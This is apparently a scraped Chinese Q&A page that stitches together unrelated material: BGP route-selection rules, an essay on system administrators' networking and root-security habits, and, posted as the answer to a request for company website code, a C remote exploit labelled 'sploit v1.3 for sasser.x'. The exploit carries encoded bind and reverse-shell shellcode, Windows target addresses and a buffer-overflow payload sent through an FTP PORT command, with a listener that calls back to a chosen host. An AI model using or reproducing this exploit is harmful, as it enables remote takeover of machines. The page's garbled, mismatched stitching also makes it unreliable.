      我大概说一下吧 BGP用于AS之间,如电信各运营商之间都是使用BGP协议。1、BGP不同于OSPF/IS-IS/RIP等协议,它是一种AS之间的路由选择协议,而OSPF/RIP等属于AS内部路由选择协议;2、BGP是用来管理路由的,本身不能发现路由,而域内路由选择协议是可以及时发现路由的,并根据不同的算法计算路由。3、BGP对路由的管理体现在:BGP有丰富的路由属性,如:下一跳、metric、优先级、团体等,通过这些属性控制路由在as内的出入。BGP的几个工作原则:1, 忽略下一跳不可达的路由2, 忽略不同步的IBGP路由3, 首选具有最大权重优先,思科私有。(local to router)4, 首选具有最大本地优先级优先。(global within AS)5, 首选具有始发本地的路由的路由器优先,(next hop=0.0.0.0)6, 首选具有最短AS-PATH的路由。7, 首选具有最小的源码的路由,IGP〈EBP〈incomplete8, 当所有路由的AS号都相同的时候,首选MED最低的路由,在所有AS号码相同的时候比较MED9, 首选具有EBGP〉联盟EBGP>IBGP10,首选具有最近的IGP邻居路由器优先,metric11 首选具有最老的路由优先(注意:现在这条基本不用)12,首选具有最低ROUTER-ID的路由。(2个BGP地址不能建邻)13,首选具有最低的neighbor的IP地址 赞同0|评论
      BGP的工作原理看书就行了,主要是了解BGP选路的11个规则,学好11个规则,BGP也算差不多了 1, 忽略下一跳不可达的路由2, 忽略不同步的IBGP路由3,首选具有最大权重优先,思科私有。(local to router)4, 首选具有最大本地优先级优先。(global within AS)5, 首选具有始发本地的路由的路由器优先,(next hop=0.0.0.0)6, 首选具有最短AS-PATH的路由。7, 首选具有最小的源码的路由,IGP〈EBP〈incomplete8,当所有路由的AS号都相同的时候,首选MED最低的路由,在所有AS号码相同的时候比较MED9, 首选具有EBGP〉联盟EBGP>IBGP10,首选具有最近的IGP邻居路由器优先,metric11首选具有最老的路由优先(注意:现在这条基本不用)12,首选具有最低ROUTER-ID的路由。(2个BGP地址不能建邻) 13,首选具有最低的neighbor的IP地址
      BGP(Border GatewayProtocol)是一种自治系统间的动态路由发现协议,它的基本功能是在自治系统间自动交换无环路的路由信息,通过交换带有自治系统号(AS)序列属性的路径可达信息,来构造自治区域的拓扑图,从而消除路由环路并实施用户配置的路由策略。与OSPF和RIP等在自治区域内部运行的协议对应,BGP是一类EGP(ExteriorGatewayProtocol)协议,而OSPF和RIP等为IGP(InteriorGatewayProtocol)协议。BGP协议经常用于ISP之间。BGP协议从1989年以来就已经开始使用。它最早发布的三个版本分别是RFC1105(BGP-1)、RFC1163(BGP-2)和RFC1267(BGP-3),当前使用的是RFC1771(BGP-4)。随着INTERNET的飞速发展,路由表的体积也迅速增加,自治区域间路由信息的交换量越来越大,影响了网络的性能。BGP支持无类别域间选路CIDR(ClasslessInterdomainRouting),可以有效的减少日益增大的路由表。BGP-4正迅速成为事实上的Internet边界路由协议标准。特性描述如下:BGP是一种外部路由协议,与OSPF、RIP等的内部路由协议不同,其着眼点不在于发现和计算路由,而在于控制路由的传播和选择最好的路由。通过携带AS路径信息,可以彻底解决路由循环问题。 为控制路由的传播和路由选择,它为路由附带属性信息。
      BGP路由协议原理

      系统管理员的基本要求

      系统管理员的基本要求系统管理员主要负责系统设备,如主机、工作站、打印机和存储设备等;还负责软件的维护,包括系统软件和应用软件,要保证它们安全可靠地运行。但是,系统不是独立工作的,它们通过网络互连起来,并且需要与Internet或其他系统进行远程连接。由于各种原因,网络出现故障在所难免,这时,系统管理员必须能够解决一些简单的网络管理问题,而不应该完全依赖网络管理员。在系统规模不大的情况下,系统管理员也应该承当网络管理员的职责。基本要求---- 系统管理员的网络管理含义,远远不止是插上网卡和知道怎样ping通路由器。 ---- 这里列举出一些系统管理员必须了解的知识和背景。当系统管理员想尽快地解决问题时,他应该如何去做呢?他可以打电话给网络售后服务公司,说系统连不上网;或者告诉他们,某个型号集线器的Shelf 5 冲突指示灯一直亮着,每秒通过的帧个数锁定在最大值上。---- 系统管理员首先应该和网络管理员配合好,前者应该具备以下相关的信息:网络管理员上班时间的电话号码、业余时间的电话号码和寻呼号码、业余时间备用的电话号码和寻呼号码。备用号码是非常重要的,因为打常用电话找不到人的情况是经常的。还有一点系统管理员必须心中有数,即在下班后寻呼的反应时间。---- 然后,系统管理员必须知道自己的系统都使用了哪些网络方面的硬件。至少应该包括以下设备:系统的物理线路所连接的集线器或交换机、经常出现在系统路由表中的路由器。还需要知道用于名字识别的域名服务器(DNS)或口令识别的网络信息服务器(NIS),执行系统设置或关键任务所使用的任何服务器,如文件服务器、打印服务器和数据库服务器的口令。网络设备知多少---- 对于每一个系统硬件,系统管理员必须知道以下事情:(1) 它们安装在哪里,能否检查它们是否加电;(2) 能否观察它们的功能是否正常;(3) 它们的型号和制造厂商;(4) 它们的性能,包括速度、全双工支持等等;(5) 它们管理界面的操作方法及怎样启动;(6) 它们有没有服务合同,如果有的话,是和谁订的;(7) 它们有没有故障预报机制。--- 有一次,一位网络管理员正在做系统支持,突然接到一位系统管理员的电话,说系统从网络上断开了,请求支援。其实,这位系统管理员已经很快检查出网卡的link灯不亮,但是他不知道系统的网络电缆连在哪个集线器上。网络管理员来到计算机房之后,摇了一下一个集线器的电源插头,于是所有该亮的灯都亮了,系统也连上了网络。尽管不提倡系统管理员去动网络设备,但是如果这个系统管理员知道他的系统插在哪个集线器上,他应该能意识到是集线器掉了电,那么他就会想起来去检查一下电源插头。---- 许多集线器和交换机都有指示正常运行的指示灯和一些错误信息的指示灯,一个好的系统管理员应该熟悉它们。例如,一连串的数据链路层错误将导致集线器把端口隔离开,从而系统从网上断开。在这种情况下,通常都有指示灯显示端口被隔离了。会有许多原因导致这种错误的产生,有一种情况是网卡的速率设置错误,然而也有把网卡设置为正确的速率而系统仍连不上网的情况。用简单的工具---- 知道设备的制造厂商和型号,对于获得调试信息是重要的。许多厂商已经在Web上发布了设备的配置、操作和调试信息,管理员所需要了解的只是制造厂商和型号。---- 熟悉集线器和交换机的能力就可以避免设置错误。例如,当简单地与集线器连接时,把系统的网卡设置成100Mbps全双工以太网将不会导致通信错误,至少在一个负载不重的局域网上是这样。它可能只是提高一些以太网错误的级别,如CRC校验错。---- 知道怎样使用设备的管理软件是诊断问题的好方法。请注意CRC校验和格式错误及碎片。如果问题不是在双工通讯不匹配上,能够确定设备正在接收由系统发来的数据包是重要的。系统管理员也能发现数据包是否带有纠错,甚至没有必要直接登录到设备或者使用它的管理软件。许多集线器和交换机可以通过SNMP管理。SNMP的优点之一是具有读写口令。尽管不可能从网络管理员那里窥探到管理口令,但是可以让网络管理员设置一个SNMP组,这样系统管理员也能参与部分管理。熟手出好活---- 同样,如果系统管理员对相关的其他系统有熟练操作经验,也是非常有用的。有时会遇到DNS不响应的情况,当系统管理员过去查看时,发现它瘫痪了。如果系统管理员已经或者能够登录,那就好得多。因为这样至少能够检查一些进程是否还在运行。同样,网络管理员应该有上级系统管理员的联系电话和系统的备份。---- 灾难预防是重要的,但是灾难是多层次的。说到灾难,许多人会想到重大的灾难,例如摧毁任何东西的火灾。但是也有小灾难,如前面提到的DNS瘫痪,所造成的影响也是很大的。---- 作为系统管理员,应该认真考虑如下问题:您知道备份DNS的IP地址吗?如果没有备份的DNS,那么您知道关键服务器和客户的IP地址吗?如果知道,您就可以抛开DNS进行维护工作。---- 您在最后一刻将所有最新的变化列表了吗?如果运行中的网络路由器坏掉了,将会发生什么情况?网络管理可能有备份的路由器,但是替换上去要多长时间?最后一次检查它已经过去多长时间了?在有或没有网络管理员合作的情况下,把您的系统从友好网络那里得到恢复,您能做些什么?---- 最后,系统管理员需要知道,尝试各种设置来定位问题要花很长时间。当然,作为一个系统管理员,并没有责任为路由器、交换机等设备设置参数。但是如果将这些设置做备份,对于以后协助解决网络问题很有帮助。如果问题发生在一台并没有什么异常现象的设备上,那么简单地比较一下该设备当前的参数设置和原来的设置,就有可能发现问题,例如路由协议RIP、OSPF或者新的访问控制表出现了变化。熟知系统---- 系统管理员要把注意力集中到系统上来,对于每一块网卡,应该知道它的名称和对它的设置,包括IP地址、子网掩码、速率、是否全双工和其他参数。最好也了解它的MAC地址和配置文件在哪里。如果需要了解网络的变化情况,MAC地址是非常有用的。可能跟踪工具不能报告网卡的IP地址,或者系统依赖于动态主机设置协议(DHCP)从而没有IP地址。但是,如果知道了MAC地址,系统管理员对于网络的一切就都是可见的,就很容易找出问题之所在。如果系统采用DHDP机制,系统管理员一定要懂得它。---- 使用运行参数设置行是分析和定位一些问题的快速方法。例如,如果参数设置行显示网卡的典型值可以达到每秒60个广播,但是现在显示的是每秒600个广播,那么系统管理员就应该检查广播源和它对网络的影响。---- 另一方面,如果网卡上通常显示每秒600个广播,这时系统管理员大概不必担心它会有什么问题。其他所要留意的是帧数和收发的字节数,以及错误出现的频率。---- 对于以太网网卡,出现个别冲突的情况是正常的。需要警惕的是出现延迟冲突和冲突次数过多的现象。系统管理员应该清醒地认识到,运行参数在一天中的任何时刻、一周或一月中的任何一天都可能会变化。这意味着需要备份运行参数。不幸的是,获得低层的网卡统计数据通常不那么容易。有些操作系统提供获得这些参数的命令,有些操作系统如Windows则不提供。有些网卡制造厂商提供获取参数的诊断程序,而有些厂商则没有。---- 除了每个网卡的运行参数,高层协议的运行参数也是有用的。比如,如果系统管理员知道一般情况下网卡每秒进行100个连接,而现在速率一下子跳到了1000个,或猛降到10个,这就应该引起系统管理员的注意。如果速率总是1000个,那就是其他问题了。窍门是应该知道哪些高层协议正在运行,哪些统计数字是重要的。在TCP/IP环境下,许多操作系统包括Windows都可以使用netstat“-s”命令统计每秒钟的连接次数。将问题定位---- 单独的一个小系统很容易管理,它甚至不需要网络管理员。如果系统仅仅单独运行,只有几个企业必需的应用程序在上面,那么,在通常情况下,当其中一个应用程序的使用者打电话说他的程序不干活了,或者系统死机了,系统管理员才知道出了问题。这些问题的出现也可能是网络故障引起的,但是用户不去找网络管理员,他们会找系统管理员。因为他们认为系统管理员应该解决一切问题,他们也不可能判断出是系统方面的原因还是网络方面的原因。---- 在这种情况下,一个系统管理员首先应该做的,是搞清楚问题究竟是出现在网络上,还是出现在系统上,或者是应用程序出了问题。假设网络和系统都运行正常,那么系统管理员应该知道以下内容:应用程序所使用的端口;怎样退出和启动应用程序;应用程序的运行记录的位置、记录入口的含义;谁主要对这个应用程序负责,谁有它的备份,当然,还有他们的联系电话。---- 许多时候,用户的应用程序对查询停止反应了。这时首先要检查的是,搞清楚应用程序是否在监视查询。要做到这一点,系统管理员必须知道系统在监视TCP或UDP的哪个端口。如果系统管理员不知道是哪个端口,那么就无法检查。如果应用程序不工作,重新启动它可能是最快的方法。然而如果这样做了,就可能永远搞不明白系统的问题出在哪里。可是,如果系统必须尽快地恢复工作,那就只能如此了。---- 应用程序登录信息也不见得都有用。这与具体的应用程序和问题类型有关。总之,系统管理员知道得越多,能做的就越多,问题就解决得越快,并且能快些排除潜在问题的产生。系统管理员的安全意识系统管理员意识在UNIX系统中,管理员权限之大,对系统的安全很不利。若系统管理员的登录口令泄密了,则入侵者离窃取系统特权只有一步之遥了,因为系统管理员经常作为超级用户或者说特洛依木马替换系统管理员的某些程序,而这些程序都是系统管理员做为ROOT时要使用的。正是因为这个原因,在UNIX系统中,管理员的户头最常受到攻击。因此系统管理员作为超级用户运行程序时应当特别小心,即使最微小的疏忽也可能将系统的安全拱手交出。下列指导规则可使系统管理员更好地行使权限。不要作为超级用户或以自己的登录户头运行其他用户的程序,首先用SU命令进入用户的户头。决不要把当前工作目录排在PATH路径表的前边,那样实际是招引特洛依木马。当系统管理员用SU命令进入ROOT用户时,他的PATH将会改变,就让PATH保持这样,以避免特洛依木马程序的侵入。敲入/bin/su执行su 命令。若有su源码,将其改成必须用全路径名运行。不要未注销户头就离开终端,特别是作为root用户时更不能这样。当系统管理员作为root用户时,命令提示符是“#”,这个提示符对某些人来说可能是个红灯标志。不允许root在除控制台外的任何终端登录,如果没有login源码,就将登录名root改成别的名,使入侵者不能在root登录名下猜测各种可能的口令,从而非法进入root的户头。经常改变超级用户的口令。确认su命令记录下想运行su企图的记录,该记录文件的许可方式是600,并属root所有。 这是非法者喜欢选择来替换成特洛依木马的文件。不要让某人作为超级用户运行程序,即使是几分钟,甚至系统管理员在一旁注视着也不行!
      简单的说就是对系统具有管理权限的人就叫管理员,一般系统管理员多用在电脑多的地方,私人的电脑自己就是系统管理员啦!不过你得精通电脑才行. 主要分为网络系统管理员和信息系统管理员。网络系统管理员主要负责整个网络的网络设备和服务器系统的设计、安装、配置、管理和维护工作,为内部网的安全运行做技术保障。服务器是网络应用系统的核心,由系统管理员专门负责管理;信息系统管理员则负责具体信息系统日常管理和维护,具有信息系统的最高管理权限。系统管理员(有时简称为sysadmin)是负责管理多用户计算机环境的人,例如局域网(LAN)。系统管理员的职责主要包括:安装和配置系统的硬件和软件;建立和管理用户帐户;升级软件;备份和恢复业务。
      系统管理员的要求:要动的电脑、对局域网非常了解、还要知道很多的命令操作。
      系统管理员的基本要求

      急求一套公司用的源代码,只要有留言功能就可以,主页要漂亮点的

      #include #include #include #include #include #define NORM "33[00;00m"#define GREEN "33[01;32m"#define YELL "33[01;33m"#define RED "33[01;31m"#define BANNER GREEN "[%%] " YELL "mandragore's sploit v1.3 for " RED "sasser.x" NORM#define fatal(x) { perror(x); exit(1); }#define default_port 5554struct { char *os; long goreg; long gpa; long lla;}targets[] = {// { "os", go ebx or pop pop ret, GetProcAd ptr, LoadLib ptr },{ "wXP SP1 all", 0x77C0BF21, 0x77be10CC, 0x77be10D0 },{ "w2k SP4 all", 0x7801D081, 0x780320cc, 0x780320d0 },}, tsz;unsigned char bsh[]={0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xDD,0x80,0x36,0xDE,0x46,0xE2,0xFA,0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0xB9,0x51,0xD8,0xDE,0xDE,0x60,0xDE,0xFE,0x9E,0xDE,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE,0x9E,0xDE,0x49,0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0x36,0xD5,0xDE,0xDE,0xDE,0x89,0x8D,0x9F,0x8D,0xB1,0xBD,0xB5,0xBB,0xAA,0x9F,0xDE,0x89,0x21,0xC8,0x21,0x0E,0x4D,0xB4,0xDE,0xB6,0xDC,0xDE,0xCA,0x6A,0x55,0x1A,0xB4,0xCE,0x8E,0x8D,0x36,0xDB,0xDE,0xDE,0xDE,0xBC,0xB7,0xB0,0xBA,0xDE,0x89,0x21,0xC8,0x21,0x0E,0xB4,0xDF,0x8D,0x36,0xD9,0xDE,0xDE,0xDE,0xB2,0xB7,0xAD,0xAA,0xBB,0xB0,0xDE,0x89,0x21,0xC8,0x21,0x0E,0xB4,0xDE,0x8A,0x8D,0x36,0xD9,0xDE,0xDE,0xDE,0xBF,0xBD,0xBD,0xBB,0xAE,0xAA,0xDE,0x89,0x21,0xC8,0x21,0x0E,0x55,0x06,0xED,0x1E,0xB4,0xCE,0x87,0x55,0x22,0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,0xDF,0x8E,0x8E,0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,0xBA,0xDE,0x8E,0x36,0xD1,0xDE,0xDE,0xDE,0x9D,0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,0xDE,0x18,0xD9,0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE,0xDE,0x5D,0x19,0xE6,0x4D,0x75,0x75,0x75,0xBA,0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2,0x55,0x9E,0xC2,0x55,0xDE,0x21,0xAE,0xD6,0x21,0xC8,0x21,0x0E};unsigned char rsh[]={0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xB6,0x80,0x36,0xDE,0x46,0xE2,0xFA,0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0xB9,0x51,0xD8,0xDE,0xDE,0x60,0xDE,0xFE,0x9E,0xDE,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE,0x9E,0xDE,0x49,0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0x36,0xD5,0xDE,0xDE,0xDE,0x89,0x8D,0x9F,0x8D,0xB1,0xBD,0xB5,0xBB,0xAA,0x9F,0xDE,0x89,0x21,0xC8,0x21,0x0E,0x4D,0xB6,0xA1,0xDE,0xDE,0xDF,0xB6,0xDC,0xDE,0xCA,0x6A,0x55,0x1A,0xB4,0xCE,0x8E,0x8D,0x36,0xD6,0xDE,0xDE,0xDE,0xBD,0xB1,0xB0,0xB0,0xBB,0xBD,0xAA,0xDE,0x89,0x21,0xC8,0x21,0x0E,0xB4,0xCE,0x87,0x55,0x22,0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,0xDF,0x8E,0x8E,0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,0xBA,0xDE,0x8E,0x36,0xD1,0xDE,0xDE,0xDE,0x9D,0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,0xDE,0x18,0xD9,0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE,0xDE,0x5D,0x19,0xE6,0x4D,0x75,0x75,0x75,0xBA,0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2,0x55,0x9E,0xC2,0x55,0xDE,0x21,0xAE,0xD6,0x21,0xC8,0x21,0x0E};char verbose=0;void setoff(long GPA, long LLA) {int gpa=GPA^0xdededede, lla=LLA^0xdededede;memcpy(bsh+0x1d,&gpa,4);memcpy(bsh+0x2e,&lla,4);memcpy(rsh+0x1d,&gpa,4);memcpy(rsh+0x2e,&lla,4);}void usage(char *argv0) {int i;printf("%s -d [opts]nn",argv0);printf("Options:n");printf(" -h undocumentedn");printf(" -p to connect to [default: %u]n",default_port);printf(" -s <'bind'/'rev'> shellcode type [default: bind]n");printf(" -P for the shellcode [default: 530]n");printf(" -H for the reverse shellcoden");printf(" -L setup the listener for the reverse shelln");printf(" -t [default 0]; choose belownn");printf("Types:n");for(i = 0; i < sizeof(targets)/sizeof(tsz); i++)printf(" %d %st[0x%.8x]n", i, targets.os, targets.goreg);exit(1);}void shell(int s) {char buff[4096];int retval;fd_set fds;printf("[+] connected!nn");for (;;) {FD_ZERO(&fds);FD_SET(0,&fds);FD_SET(s,&fds);if (select(s+1, &fds, NULL, NULL, NULL) < 0)fatal("[-] shell.select()");if (FD_ISSET(0,&fds)) {if ((retval = read(1,buff,4096)) < 1)fatal("[-] shell.recv(stdin)");send(s,buff,retval,0);}if (FD_ISSET(s,&fds)) {if ((retval = recv(s,buff,4096,0)) < 1)fatal("[-] shell.recv(socket)");write(1,buff,retval);}}}void callback(short port) {struct sockaddr_in sin;int s,slen=16;sin.sin_family = 2;sin.sin_addr.s_addr = 0;sin.sin_port = htons(port);s=socket(2,1,6);if ( bind(s,(struct sockaddr *)&sin, 16) ) {kill(getppid(),SIGKILL);fatal("[-] shell.bind");}listen(s,1);s=accept(s,(struct sockaddr *)&sin,&slen);shell(s);printf("crapn");}int main(int argc, char **argv, char **env) {struct sockaddr_in sin;struct hostent *he;char *host; int port=default_port;char *Host; int Port=5300; char bindopt=1;int i,s,pid=0,rip;char *buff;int type=0;char *jmp[]=;printf(BANNER "n");if (argc==1)usage(argv[0]);for (i=1;i>8;memcpy(bsh+0x57,&Port,2);memcpy(rsh+0x5a,&Port,2);Port=Port ^ 0xdede;Port=(Port & 0xff) << 8 | Port >>8;break;case 'L':pid++; i--;break;case 'v':verbose++; i--;break;case 'h':usage(argv[0]);default:usage(argv[0]);}}if (verbose)printf("verbose!n");if ((he=gethostbyname(host))==NULL)fatal("[-] gethostbyname()");sin.sin_family = 2;sin.sin_addr = *((struct in_addr *)he->h_addr_list[0]);sin.sin_port = htons(port);printf("[.] launching attack on %s:%d..n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),port);if (bindopt)printf("[.] will try to put a bindshell on port %d.n",Port);else {if ((he=gethostbyname(Host))==NULL)fatal("[-] gethostbyname() for -H");rip=*((long *)he->h_addr_list[0]);rip=rip^0xdededede;memcpy(rsh+0x53,&rip,4);if (pid) {printf("[.] setting up a listener on port %d.n",Port);pid=fork();switch (pid) { case 0: callback(Port); }} elseprintf("[.] you should have a listener on %s:%d.n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),Port);}printf("[.] using type '%s'n",targets[type].os);// -------------------- cores=socket(2,1,6);if (connect(s,(struct sockaddr *)&sin,16)!=0) {if (pid) kill(pid,SIGKILL);fatal("[-] connect()");}printf("[+] connected, sending exploitn");buff=(char *)malloc(4096);bzero(buff,4096);sprintf(buff,"USER xn");send(s,buff,strlen(buff),0);recv(s,buff,4095,0);sprintf(buff,"PASS xn");send(s,buff,strlen(buff),0);recv(s,buff,4095,0);memset(buff+0000,0x90,2000);strncpy(buff,"PORT ",5);strcat(buff,"x0a");memcpy(buff+272,jmp[0],2);memcpy(buff+276,&targets[type].goreg,4);memcpy(buff+280,jmp[1],5);setoff(targets[type].gpa, targets[type].lla);if (bindopt)memcpy(buff+300,&bsh,strlen(bsh));elsememcpy(buff+300,↱,strlen(rsh));send(s,buff,strlen(buff),0);free(buff);close(s);// -------------------- end of coreif (bindopt) {sin.sin_port = htons(Port);sleep(1);s=socket(2,1,6);if (connect(s,(struct sockaddr *)&sin,16)!=0)fatal("[-] exploit most likely failed");shell(s);}if (pid) wait(&pid);exit(0); }
      急求一套公司用的源代码,只要有留言功能就可以,主页要漂亮点的

      本文由 在线网速测试 整理编辑,转载请注明出处。

          热门文章

          文章分类